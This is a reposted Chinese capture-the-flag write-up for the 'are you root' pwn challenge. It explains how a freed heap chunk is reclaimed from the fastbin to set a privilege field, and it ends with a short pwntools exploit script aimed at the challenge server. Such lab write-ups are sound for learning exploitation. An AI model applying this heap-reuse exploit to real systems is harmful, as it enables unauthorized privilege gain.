[BUUCTF-pwn]——picoctf_2018_are you root
生活随笔
收集整理的這篇文章主要介紹了
[BUUCTF-pwn]——picoctf_2018_are you root
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
[BUUCTF-pwn]——picoctf_2018_are you root
- 題目地址:點這里
害,有點小燒腦子這道題. 又學習了幾個沒見過的C語言函數
peak小知識
- strtok: 第一次使用時候,需要兩個參數從第一個參數開始,到第二個參數接斷并且返回.
- strdup: malloc一個參數字符串大小的內存,并且將字符串拷貝進去.
正文
下面進入正文,首先checksec看下
再去IDA中看下, 好明顯的暗示
緊接著去看看代碼, 想要進入give-flag函數, 需要v6 不為0, 同時 *(v6 + 2) == 5
我們可以看到s和v10的距離是6, login加上一個空格的距離也是6
所以, v6就是我們后面輸入的字符串以及會申請同樣大小的內存空間
我們注意到, *v6會free掉, 如果我們申請的大小為0x10那么放在fastbin里面后,下次我們申請的話,仍然是該空間.
思路
利用login, 將我們想要的數據排列好, *(v6 + 2), 其實就是v6[2], 四個字節的每個數據
所以字符只需要是’aaaaaaaa’ + p32(0x5) + ‘aaaa’, 因為p32是4個字節剛好, 當然我們也可以是’aaaaaaaa’ + p64(0x5), 因為是小序端存儲, 所以四個字節讀取的時候也是5
注意大小應該是0x10, 這樣最好,可以百分百申請回來
將其釋放掉
重新申請回來這樣就不是 * v6指向它了而是v6指向它了
exploit
from pwn import *#p = process('./PicoCTF_2018_are_you_root') p = remote('node3.buuoj.cn',27037)p.sendlineafter('>','login ' + 'a'*0x8 + p32(0x5) + 'aaaa')p.sendlineafter('>','reset')p.sendlineafter('>','login aa') #這個aa可以隨便輸入,只要有并且不溢出就好p.sendlineafter('>','get-flag') p.interactive()總結
以上是生活随笔為你收集整理的[BUUCTF-pwn]——picoctf_2018_are you root的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [BUUCTF-pwn]——cmcc_p
- 下一篇: [BUUCTF-pwn]——hitcon